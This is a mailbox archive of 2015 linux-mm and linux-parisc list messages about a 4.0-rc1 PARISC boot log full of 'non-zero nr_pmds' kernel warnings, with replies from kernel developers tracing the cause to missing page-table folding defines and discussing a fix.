[   18.750000] usbcore: registered new interface driver usb-storage
[   18.760000] sd 1:0:5:0: [sda] Attached SCSI disk
[   18.770000] BUG: non-zero nr_pmds on freeing mm: -6
[   18.790000] BUG: non-zero nr_pmds on freeing mm: -6
[   18.800000] mousedev: PS/2 mouse device common for all mice
[   18.810000] rtc-generic rtc-generic: rtc core: registered rtc-generic as rtc0
[   18.810000] md: raid1 personality registered for level 1
[   18.830000] BUG: non-zero nr_pmds on freeing mm: -6
[   18.840000] BUG: non-zero nr_pmds on freeing mm: -6
[   18.860000] BUG: non-zero nr_pmds on freeing mm: -6
[   18.870000] BUG: non-zero nr_pmds on freeing mm: -6
[   18.880000] BUG: non-zero nr_pmds on freeing mm: -6
[   18.900000] BUG: non-zero nr_pmds on freeing mm: -5
[   18.910000] device-mapper: ioctl: 4.30.0-ioctl (2014-12-22) initialised: dm-devel@redhat.com
[   18.910000] usbcore: registered new interface driver usbhid
[   18.920000] usbhid: USB HID core driver
[   18.930000] TCP: cubic registered
[   18.930000] NET: Registered protocol family 17
[   18.940000] BUG: non-zero nr_pmds on freeing mm: -6
[   18.950000] BUG: non-zero nr_pmds on freeing mm: -5
[   18.970000] BUG: non-zero nr_pmds on freeing mm: -6
[   18.980000] BUG: non-zero nr_pmds on freeing mm: -6
[   18.990000] BUG: non-zero nr_pmds on freeing mm: -6
[   19.020000] rtc-generic rtc-generic: setting system clock to 2015-02-24 22:53:53 UTC (1424818433)
[   19.020000] BUG: non-zero nr_pmds on freeing mm: -6
[   19.040000] Freeing unused kernel memory: 152K (10100000 - 10126000)
[   19.050000] BUG: non-zero nr_pmds on freeing mm: -6
[   19.070000] BUG: non-zero nr_pmds on freeing mm: -7
[   19.080000] BUG: non-zero nr_pmds on freeing mm: -5
[   19.080000] BUG: non-zero nr_pmds on freeing mm: -6
[   19.100000] BUG: non-zero nr_pmds on freeing mm: -6
[   19.110000] BUG: non-zero nr_pmds on freeing mm: -5
[   19.130000] usb 1-2: new full-speed USB device number 2 using ohci-pci
[   19.140000] BUG: non-zero nr_pmds on freeing mm: -6
[   19.150000] BUG: non-zero nr_pmds on freeing mm: -5
[   19.160000] BUG: non-zero nr_pmds on freeing mm: -6
[   19.170000] BUG: non-zero nr_pmds on freeing mm: -5
[   19.180000] BUG: non-zero nr_pmds on freeing mm: -6
[   19.190000] BUG: non-zero nr_pmds on freeing mm: -5
[   19.210000] BUG: non-zero nr_pmds on freeing mm: -6
[   19.220000] BUG: non-zero nr_pmds on freeing mm: -5
[   19.230000] BUG: non-zero nr_pmds on freeing mm: -6
[   19.240000] BUG: non-zero nr_pmds on freeing mm: -5
[   19.250000] BUG: non-zero nr_pmds on freeing mm: -6
[   19.260000] BUG: non-zero nr_pmds on freeing mm: -5
[   19.280000] BUG: non-zero nr_pmds on freeing mm: -7
[   19.290000] BUG: non-zero nr_pmds on freeing mm: -5
[   19.300000] BUG: non-zero nr_pmds on freeing mm: -6
[   19.310000] BUG: non-zero nr_pmds on freeing mm: -5
[   19.320000] BUG: non-zero nr_pmds on freeing mm: -6
[   19.330000] BUG: non-zero nr_pmds on freeing mm: -5
[   19.350000] BUG: non-zero nr_pmds on freeing mm: -6
[   19.360000] BUG: non-zero nr_pmds on freeing mm: -5
[   19.370000] BUG: non-zero nr_pmds on freeing mm: -5
[   19.390000] BUG: non-zero nr_pmds on freeing mm: -5
[   19.400000] BUG: non-zero nr_pmds on freeing mm: -6
[   19.410000] hub 1-2:1.0: USB hub found
[   19.410000] hub 1-2:1.0: 3 ports detected
[   19.430000] BUG: non-zero nr_pmds on freeing mm: -6
[   19.440000] BUG: non-zero nr_pmds on freeing mm: -5
[   19.460000] BUG: non-zero nr_pmds on freeing mm: -6
[   19.470000] BUG: non-zero nr_pmds on freeing mm: -6
[   19.480000] BUG: non-zero nr_pmds on freeing mm: -5
[   19.490000] BUG: non-zero nr_pmds on freeing mm: -6
[   19.500000] BUG: non-zero nr_pmds on freeing mm: -5
[   19.520000] BUG: non-zero nr_pmds on freeing mm: -6
[   19.530000] BUG: non-zero nr_pmds on freeing mm: -5
[   19.540000] BUG: non-zero nr_pmds on freeing mm: -6
[   19.550000] BUG: non-zero nr_pmds on freeing mm: -5
[   19.570000] BUG: non-zero nr_pmds on freeing mm: -6
[   19.580000] BUG: non-zero nr_pmds on freeing mm: -5
[   19.590000] BUG: non-zero nr_pmds on freeing mm: -6
[   19.600000] BUG: non-zero nr_pmds on freeing mm: -5
[   19.610000] BUG: non-zero nr_pmds on freeing mm: -6
[   19.630000] BUG: non-zero nr_pmds on freeing mm: -5
[   19.640000] BUG: non-zero nr_pmds on freeing mm: -6
[   19.660000] BUG: non-zero nr_pmds on freeing mm: -5
[   19.680000] BUG: non-zero nr_pmds on freeing mm: -5
[   19.690000] BUG: non-zero nr_pmds on freeing mm: -5
[   19.700000] BUG: non-zero nr_pmds on freeing mm: -5
[   19.760000] BUG: non-zero nr_pmds on freeing mm: -10
[   19.770000] usb 1-2.3: new full-speed USB device number 3 using ohci-pci
[   19.770000] BUG: non-zero nr_pmds on freeing mm: -6
[   19.780000] BUG: non-zero nr_pmds on freeing mm: -6
[   19.790000] BUG: non-zero nr_pmds on freeing mm: -6
[   19.800000] BUG: non-zero nr_pmds on freeing mm: -5
[   19.950000] BUG: non-zero nr_pmds on freeing mm: -6
[   19.960000] input: Cherry GmbH                     Cherry Multiboard               as /devices/parisc/10/10:0/pci0000:00/0000:00:0e.2/usb1/1-2/1-2.3/1-2.3:1.0/0003:046A:0016.0001/input/input0
[   19.980000] BUG: non-zero nr_pmds on freeing mm: -6
[   19.990000] BUG: non-zero nr_pmds on freeing mm: -6
[   20.030000] hid-generic 0003:046A:0016.0001: input: USB HID v1.11 Keyboard [Cherry GmbH                     Cherry Multiboard              ] on usb-0000:00:0e.2-2.3/input0
[   20.060000] BUG: non-zero nr_pmds on freeing mm: -6
[   20.070000] hid-generic 0003:046A:0016.0002: device has no listeners, quitting
[   20.080000] BUG: non-zero nr_pmds on freeing mm: -6
[   21.840000] BUG: non-zero nr_pmds on freeing mm: -6
[   21.850000] BUG: non-zero nr_pmds on freeing mm: -5
[   21.860000] BUG: non-zero nr_pmds on freeing mm: -6
[   21.870000] BUG: non-zero nr_pmds on freeing mm: -5
[   21.880000] BUG: non-zero nr_pmds on freeing mm: -6
[   21.890000] BUG: non-zero nr_pmds on freeing mm: -5
[   21.910000] BUG: non-zero nr_pmds on freeing mm: -5
[   21.920000] BUG: non-zero nr_pmds on freeing mm: -5
[   21.940000] BUG: non-zero nr_pmds on freeing mm: -6
[   22.020000] BUG: non-zero nr_pmds on freeing mm: -10
[   22.030000] BUG: non-zero nr_pmds on freeing mm: -7
[   22.040000] BUG: non-zero nr_pmds on freeing mm: -5
[   22.050000] EXT4-fs (sda3): couldn't mount as ext3 due to feature incompatibilities
[   22.060000] EXT4-fs (sda3): couldn't mount as ext2 due to feature incompatibilities
[   22.110000] EXT4-fs (sda3): mounted filesystem with ordered data mode. Opts: (null)
[   22.120000] BUG: non-zero nr_pmds on freeing mm: -6
[   22.180000] BUG: non-zero nr_pmds on freeing mm: -5
[   22.190000] BUG: non-zero nr_pmds on freeing mm: -5
[   22.200000] BUG: non-zero nr_pmds on freeing mm: -5
[   22.220000] BUG: non-zero nr_pmds on freeing mm: -6
[   22.250000] BUG: non-zero nr_pmds on freeing mm: -5
[   22.270000] BUG: non-zero nr_pmds on freeing mm: -6
[   22.280000] BUG: non-zero nr_pmds on freeing mm: -5
[   22.300000] BUG: non-zero nr_pmds on freeing mm: -5
[   22.310000] BUG: non-zero nr_pmds on freeing mm: -5
[   22.330000] BUG: non-zero nr_pmds on freeing mm: -5
[   22.340000] BUG: non-zero nr_pmds on freeing mm: -5
[   22.360000] BUG: non-zero nr_pmds on freeing mm: -6
[   22.370000] BUG: non-zero nr_pmds on freeing mm: -5
[   22.380000] BUG: non-zero nr_pmds on freeing mm: -6
[   22.390000] BUG: non-zero nr_pmds on freeing mm: -5
[   22.410000] BUG: non-zero nr_pmds on freeing mm: -6
[   22.420000] BUG: non-zero nr_pmds on freeing mm: -6
[   22.480000] BUG: non-zero nr_pmds on freeing mm: -6
[   22.760000] BUG: non-zero nr_pmds on freeing mm: -5
[   22.820000] BUG: non-zero nr_pmds on freeing mm: -5
[   22.830000] BUG: non-zero nr_pmds on freeing mm: -5
[   22.850000] BUG: non-zero nr_pmds on freeing mm: -5
[   22.860000] BUG: non-zero nr_pmds on freeing mm: -5
[   22.880000] BUG: non-zero nr_pmds on freeing mm: -5
[   22.940000] BUG: non-zero nr_pmds on freeing mm: -5
[   22.950000] BUG: non-zero nr_pmds on freeing mm: -5
[   23.010000] BUG: non-zero nr_pmds on freeing mm: -6
[   23.020000] BUG: non-zero nr_pmds on freeing mm: -6
[   23.020000] BUG: non-zero nr_pmds on freeing mm: -6
[   23.030000] BUG: non-zero nr_pmds on freeing mm: -6
[   23.060000] BUG: non-zero nr_pmds on freeing mm: -5
[   23.080000] BUG: non-zero nr_pmds on freeing mm: -5
[   23.090000] BUG: non-zero nr_pmds on freeing mm: -5
[   23.110000] BUG: non-zero nr_pmds on freeing mm: -5
[   23.130000] BUG: non-zero nr_pmds on freeing mm: -5
[   23.150000] BUG: non-zero nr_pmds on freeing mm: -6
[   23.160000] BUG: non-zero nr_pmds on freeing mm: -6
[   23.170000] BUG: non-zero nr_pmds on freeing mm: -5
[   23.180000] BUG: non-zero nr_pmds on freeing mm: -5
[   23.190000] BUG: non-zero nr_pmds on freeing mm: -6
[   23.210000] BUG: non-zero nr_pmds on freeing mm: -6
[   23.220000] BUG: non-zero nr_pmds on freeing mm: -6
[   23.240000] BUG: non-zero nr_pmds on freeing mm: -5
[   23.250000] BUG: non-zero nr_pmds on freeing mm: -5
[   23.260000] BUG: non-zero nr_pmds on freeing mm: -4
[   23.280000] BUG: non-zero nr_pmds on freeing mm: -5
[   23.300000] BUG: non-zero nr_pmds on freeing mm: -6
[   23.310000] BUG: non-zero nr_pmds on freeing mm: -4
[   23.330000] BUG: non-zero nr_pmds on freeing mm: -6
[   23.340000] BUG: non-zero nr_pmds on freeing mm: -4
[   23.350000] BUG: non-zero nr_pmds on freeing mm: -6
[   23.360000] BUG: non-zero nr_pmds on freeing mm: -5
[   23.370000] BUG: non-zero nr_pmds on freeing mm: -6
[   23.380000] BUG: non-zero nr_pmds on freeing mm: -4
[   23.400000] BUG: non-zero nr_pmds on freeing mm: -6
[   23.410000] BUG: non-zero nr_pmds on freeing mm: -5
[   23.420000] BUG: non-zero nr_pmds on freeing mm: -6
[   23.430000] BUG: non-zero nr_pmds on freeing mm: -4
[   23.440000] BUG: non-zero nr_pmds on freeing mm: -5
[   23.460000] BUG: non-zero nr_pmds on freeing mm: -6
[   23.470000] BUG: non-zero nr_pmds on freeing mm: -6
[   23.480000] BUG: non-zero nr_pmds on freeing mm: -4
[   23.490000] BUG: non-zero nr_pmds on freeing mm: -6
[   23.500000] BUG: non-zero nr_pmds on freeing mm: -6
[   23.510000] BUG: non-zero nr_pmds on freeing mm: -5
[   23.520000] BUG: non-zero nr_pmds on freeing mm: -5
[   23.530000] BUG: non-zero nr_pmds on freeing mm: -5
[   23.540000] BUG: non-zero nr_pmds on freeing mm: -6
[   23.550000] BUG: non-zero nr_pmds on freeing mm: -6
[   23.560000] BUG: non-zero nr_pmds on freeing mm: -6
[   23.570000] BUG: non-zero nr_pmds on freeing mm: -5
[   23.590000] BUG: non-zero nr_pmds on freeing mm: -6
[   23.600000] BUG: non-zero nr_pmds on freeing mm: -5
[   23.610000] BUG: non-zero nr_pmds on freeing mm: -5
[   23.630000] BUG: non-zero nr_pmds on freeing mm: -5
[   23.650000] BUG: non-zero nr_pmds on freeing mm: -5
[   23.690000] BUG: non-zero nr_pmds on freeing mm: -5
[   23.700000] BUG: non-zero nr_pmds on freeing mm: -5
[   23.730000] BUG: non-zero nr_pmds on freeing mm: -5
[   23.740000] BUG: non-zero nr_pmds on freeing mm: -6
[   23.760000] BUG: non-zero nr_pmds on freeing mm: -6
[   23.770000] BUG: non-zero nr_pmds on freeing mm: -6
[   23.780000] BUG: non-zero nr_pmds on freeing mm: -5
[   23.790000] BUG: non-zero nr_pmds on freeing mm: -5
[   23.810000] BUG: non-zero nr_pmds on freeing mm: -5
[   23.830000] BUG: non-zero nr_pmds on freeing mm: -6
[   23.830000] BUG: non-zero nr_pmds on freeing mm: -5
[   23.850000] BUG: non-zero nr_pmds on freeing mm: -6
[   23.860000] BUG: non-zero nr_pmds on freeing mm: -6
[   23.870000] BUG: non-zero nr_pmds on freeing mm: -6
[   23.880000] BUG: non-zero nr_pmds on freeing mm: -5
[   23.890000] BUG: non-zero nr_pmds on freeing mm: -6
[   23.900000] BUG: non-zero nr_pmds on freeing mm: -5
[   23.920000] BUG: non-zero nr_pmds on freeing mm: -4
[   23.950000] BUG: non-zero nr_pmds on freeing mm: -6
[   23.960000] BUG: non-zero nr_pmds on freeing mm: -5
[   23.970000] BUG: non-zero nr_pmds on freeing mm: -5
[   23.990000] BUG: non-zero nr_pmds on freeing mm: -5
[   24.000000] EXT4-fs (sda1): mounting ext2 file system using the ext4 subsystem
[   24.020000] BUG: non-zero nr_pmds on freeing mm: -6
[   24.020000] EXT4-fs (sda1): warning: mounting unchecked fs, running e2fsck is recommended
[   24.030000] BUG: non-zero nr_pmds on freeing mm: -6
[   24.040000] EXT4-fs (sda1): mounted filesystem without journal. Opts: (null)
[   24.050000] BUG: non-zero nr_pmds on freeing mm: -6
[   24.060000] BUG: non-zero nr_pmds on freeing mm: -5
[   24.070000] BUG: non-zero nr_pmds on freeing mm: -6
[   24.090000] BUG: non-zero nr_pmds on freeing mm: -5
[   24.100000] BUG: non-zero nr_pmds on freeing mm: -5
[   24.110000] BUG: non-zero nr_pmds on freeing mm: -6
[   24.130000] BUG: non-zero nr_pmds on freeing mm: -6
[   24.140000] BUG: non-zero nr_pmds on freeing mm: -5
[   24.160000] BUG: non-zero nr_pmds on freeing mm: -5
[   24.180000] BUG: non-zero nr_pmds on freeing mm: -6
[   24.180000] BUG: non-zero nr_pmds on freeing mm: -6
[   24.200000] BUG: non-zero nr_pmds on freeing mm: -5
[   24.210000] Adding 4008212k swap on /dev/sda2.  Priority:-1 extents:1 across:4008212k 
[   24.210000] BUG: non-zero nr_pmds on freeing mm: -6
[   24.230000] BUG: non-zero nr_pmds on freeing mm: -5
[   24.240000] BUG: non-zero nr_pmds on freeing mm: -6
[   24.250000] BUG: non-zero nr_pmds on freeing mm: -6
[   24.260000] BUG: non-zero nr_pmds on freeing mm: -5
[   24.280000] BUG: non-zero nr_pmds on freeing mm: -5
[   24.290000] BUG: non-zero nr_pmds on freeing mm: -6
[   24.300000] BUG: non-zero nr_pmds on freeing mm: -6
[   24.310000] BUG: non-zero nr_pmds on freeing mm: -6
[   24.320000] BUG: non-zero nr_pmds on freeing mm: -6
[   24.340000] BUG: non-zero nr_pmds on freeing mm: -5
[   24.340000] BUG: non-zero nr_pmds on freeing mm: -5
[   24.360000] BUG: non-zero nr_pmds on freeing mm: -5
[   24.370000] BUG: non-zero nr_pmds on freeing mm: -5
[   24.390000] BUG: non-zero nr_pmds on freeing mm: -5
[   24.410000] BUG: non-zero nr_pmds on freeing mm: -5
[   24.430000] BUG: non-zero nr_pmds on freeing mm: -6
[   24.460000] BUG: non-zero nr_pmds on freeing mm: -4
[   24.650000] random: dropbear urandom read with 111 bits of entropy available
[   24.660000] BUG: non-zero nr_pmds on freeing mm: -6
[   24.680000] BUG: non-zero nr_pmds on freeing mm: -4
[   24.710000] BUG: non-zero nr_pmds on freeing mm: -5
[   24.730000] BUG: non-zero nr_pmds on freeing mm: -5
[   24.740000] BUG: non-zero nr_pmds on freeing mm: -7
[   24.750000] BUG: non-zero nr_pmds on freeing mm: -4
[   24.760000] BUG: non-zero nr_pmds on freeing mm: -5
[   27.120000] net eth0: Setting full-duplex based on MII#1 link partner capability of c5e1
[   29.190000] random: nonblocking pool is initialized
[   67.630000] BUG: non-zero nr_pmds on freeing mm: -8
[   67.660000] BUG: non-zero nr_pmds on freeing mm: -5
[   67.670000] BUG: non-zero nr_pmds on freeing mm: -6
[   69.730000] BUG: non-zero nr_pmds on freeing mm: -6
[   69.740000] BUG: non-zero nr_pmds on freeing mm: -6
[   69.770000] BUG: non-zero nr_pmds on freeing mm: -6
[  109.940000] BUG: non-zero nr_pmds on freeing mm: -6
[  112.650000] BUG: non-zero nr_pmds on freeing mm: -6

A.

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kirill A. Shutemov" <kirill@shutemov.name>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.parisc
Subject: Re: 4.0-rc1/PARISC: BUG: non-zero nr_pmds on freeing mm
Date: Wed, 25 Feb 2015 22:21:30 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <20150225202130.GA31491@node.dhcp.inet.fi>
References: <20150224225454.GA14117@fuloong-minipc.musicnaut.iki.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1424895852 26645 80.91.229.3 (25 Feb 2015 20:24:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 25 Feb 2015 20:24:12 +0000 (UTC)
Cc: "Kirill A. Shutemov" <kirill.shutemov@linux.intel.com>,
	linux-parisc@vger.kernel.org, linux-mm@kvack.org
To: Andrew Morton <akpm@linux-foundation.org>,
	Aaro Koskinen <aaro.koskinen@iki.fi>
Original-X-From: owner-linux-mm@kvack.org Wed Feb 25 21:24:01 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1YQiSh-0001Gz-Sf
	for glkm-linux-mm-2@m.gmane.org; Wed, 25 Feb 2015 21:21:40 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 6E81D6B0032; Wed, 25 Feb 2015 15:21:37 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 6980F6B006C; Wed, 25 Feb 2015 15:21:37 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 5AE776B006E; Wed, 25 Feb 2015 15:21:37 -0500 (EST)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-wg0-f52.google.com (mail-wg0-f52.google.com [74.125.82.52])
	by kanga.kvack.org (Postfix) with ESMTP id 185FB6B0032
	for <linux-mm@kvack.org>; Wed, 25 Feb 2015 15:21:37 -0500 (EST)
Original-Received: by wgha1 with SMTP id a1so6030658wgh.5
        for <linux-mm@kvack.org>; Wed, 25 Feb 2015 12:21:36 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:date:from:to:cc:subject
         :message-id:references:mime-version:content-type:content-disposition
         :in-reply-to:user-agent;
        bh=hr58eSu48Vx07cptI0jPlt8CsfExwaRdm07ItiFcvt0=;
        b=Cvzt0zOhW1NIOZoRUNNX6FDP5UfIj4/sM2Ls7RqKntgckTVkyc6QG9Q1e6gN0PgFFp
         70qbPLSPYndoL/RGt8AbwC0z2/NRPDLcmfI0NHS9WaqcsNsEggp8ngwDwC7bKMG0AclS
         44jnHQKPO7giZF1r17kWFxY184uEG8pPyGrdheXp+Hw4rorjqyq96//pBZPOXrdIo1di
         /g5i8C+qGNXqKRYgGG46RV1BL0O8yEXKp1zesSOmuFU3yLq5tn6/oJWKXp6GCZoe448q
         b9/Ch7IliC/1i6AUkW+3IhQY48gkVXvzEEWnXE3Ln7Q+1U84uAmxcZYIQ6+T8x3O9QSG
         H88Q==
X-Gm-Message-State: ALoCoQk5O8xWx85vEK4ZWU4d6Fr35F9uQrq/mjuOD7Zip1i/CGEEl3ZeKhGecCPCwhA+zy6l/j4aEZZFodxdh9ta1TkLsTh5xuWQsDh7GxiZ8gcWBdn2disJ4qpPjiW0otxsy4me6cz/dD5/JD2kjbGQiv1jSspJrXtU+w574QFfnplIC01eHpvv/hOqhpoRGGwqZrq5uyfY
X-Received: by 10.180.98.167 with SMTP id ej7mr9751174wib.87.1424895696691;
        Wed, 25 Feb 2015 12:21:36 -0800 (PST)
X-Received: by 10.180.98.167 with SMTP id ej7mr9751069wib.87.1424895695794;
        Wed, 25 Feb 2015 12:21:35 -0800 (PST)
Original-Received: from jenni1.inet.fi (mta-out1.inet.fi. [62.71.2.195])
        by mx.google.com with ESMTP id g4si31080867wie.103.2015.02.25.12.21.35
        for <linux-mm@kvack.org>;
        Wed, 25 Feb 2015 12:21:35 -0800 (PST)
Received-SPF: neutral (google.com: 62.71.2.195 is neither permitted nor denied by domain of kas@node.shutemov.name) client-ip=62.71.2.195;
Authentication-Results: mx.google.com;
       spf=neutral (google.com: 62.71.2.195 is neither permitted nor denied by domain of kas@node.shutemov.name) smtp.mail=kas@node.shutemov.name;
       dkim=pass header.i=@shutemov.name
Original-Received: from node.shutemov.name (80.220.224.16) by jenni1.inet.fi (8.5.142.08)
        id 54E3C70300FB09BD; Wed, 25 Feb 2015 22:21:33 +0200
Original-Received: by node.shutemov.name (Postfix, from userid 1000)
	id 87B1C409E4; Wed, 25 Feb 2015 22:21:30 +0200 (EET)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=shutemov.name;
	s=default; t=1424895690;
	bh=pk6IVgcSr8GhORtkYgNt9APD0CCXrhAsC9Ioa1IX0Rk=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To;
	b=IHNkRdy6KYpoup3rmXDRlNMVhLO6HcMVKicgzynSmzRijLPcWI1SqVVzV3TKUNFIe
	 EkQcFZ7rxvSvbpAOr9PlMg/ufNEhVex6C5wDvLa5jEuIVJUN4jOSJfmMSgrjwKPrll
	 anqAvYaDlgsxyPXhY74vbseh2XYQCchJyOYB4nEA=
Content-Disposition: inline
In-Reply-To: <20150224225454.GA14117@fuloong-minipc.musicnaut.iki.fi>
User-Agent: Mutt/1.5.23.1 (2014-03-12)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:129073 gmane.linux.ports.parisc:25605
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/129073>

On Wed, Feb 25, 2015 at 12:54:54AM +0200, Aaro Koskinen wrote:
> Hi,
> 
> Here's a kernel config to reproduce the issue (no special steps needed,
> just boot to userspace), and bootlog after that:
> 
> #
> # Automatically generated file; DO NOT EDIT.
> # Linux/parisc 4.0.0-rc1 Kernel Configuration
...
> [   18.940000] BUG: non-zero nr_pmds on freeing mm: -6

It happens due missing __PAGETABLE_PMD_FOLDED in custom page table
folding. This has been fixed in CONFIG_PGTABLE_LEVELS patcheset.

Andrew, are you going to submit that patchset to Linus in this cycle?
If not, I can prepare a patchset which only adds missing
__PAGETABLE_PUD_FOLDED and __PAGETABLE_PMD_FOLDED.

-- 
 Kirill A. Shutemov

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm
Subject: Re: 4.0-rc1/PARISC: BUG: non-zero nr_pmds on freeing mm
Date: Wed, 25 Feb 2015 12:30:48 -0800
Lines: 33
Approved: news@gmane.org
Message-ID: <20150225123048.a9c97ea726f747e029b4688a@linux-foundation.org>
References: <20150224225454.GA14117@fuloong-minipc.musicnaut.iki.fi>
	<20150225202130.GA31491@node.dhcp.inet.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1424896261 3387 80.91.229.3 (25 Feb 2015 20:31:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 25 Feb 2015 20:31:01 +0000 (UTC)
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>,
	"Kirill A. Shutemov" <kirill.shutemov@linux.intel.com>,
	linux-parisc@vger.kernel.org, linux-mm@kvack.org
To: "Kirill A. Shutemov" <kirill@shutemov.name>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 25 21:30:51 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YQiba-00059w-BS
	for glpp-linux-parisc@plane.gmane.org; Wed, 25 Feb 2015 21:30:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751866AbbBYUau (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 25 Feb 2015 15:30:50 -0500
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:36115 "EHLO
	mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751479AbbBYUat (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 25 Feb 2015 15:30:49 -0500
Original-Received: from akpm3.mtv.corp.google.com (unknown [216.239.45.95])
	by mail.linuxfoundation.org (Postfix) with ESMTPSA id C3A4BAE7;
	Wed, 25 Feb 2015 20:30:48 +0000 (UTC)
In-Reply-To: <20150225202130.GA31491@node.dhcp.inet.fi>
X-Mailer: Sylpheed 3.4.1 (GTK+ 2.24.23; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25606 gmane.linux.kernel.mm:129074
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25606>

On Wed, 25 Feb 2015 22:21:30 +0200 "Kirill A. Shutemov" <kirill@shutemov.name> wrote:

> On Wed, Feb 25, 2015 at 12:54:54AM +0200, Aaro Koskinen wrote:
> > Hi,
> > 
> > Here's a kernel config to reproduce the issue (no special steps needed,
> > just boot to userspace), and bootlog after that:
> > 
> > #
> > # Automatically generated file; DO NOT EDIT.
> > # Linux/parisc 4.0.0-rc1 Kernel Configuration
> ...
> > [   18.940000] BUG: non-zero nr_pmds on freeing mm: -6
> 
> It happens due missing __PAGETABLE_PMD_FOLDED in custom page table
> folding. This has been fixed in CONFIG_PGTABLE_LEVELS patcheset.
> 
> Andrew, are you going to submit that patchset to Linus in this cycle?

I wasn't planning on doing so - the changelog didn't say anything about
fixing any regressions.

> If not, I can prepare a patchset which only adds missing
> __PAGETABLE_PUD_FOLDED and __PAGETABLE_PMD_FOLDED.

Something simple would be preferred, but I don't know how much simpler
the above would be?

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kirill A. Shutemov" <kirill@shutemov.name>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.parisc
Subject: Re: 4.0-rc1/PARISC: BUG: non-zero nr_pmds on freeing mm
Date: Wed, 25 Feb 2015 22:47:43 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <20150225204743.GA31668@node.dhcp.inet.fi>
References: <20150224225454.GA14117@fuloong-minipc.musicnaut.iki.fi>
 <20150225202130.GA31491@node.dhcp.inet.fi>
 <20150225123048.a9c97ea726f747e029b4688a@linux-foundation.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1424897286 23665 80.91.229.3 (25 Feb 2015 20:48:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 25 Feb 2015 20:48:06 +0000 (UTC)
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>,
	"Kirill A. Shutemov" <kirill.shutemov@linux.intel.com>,
	linux-parisc@vger.kernel.org, linux-mm@kvack.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Wed Feb 25 21:47:55 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1YQis4-0002ro-35
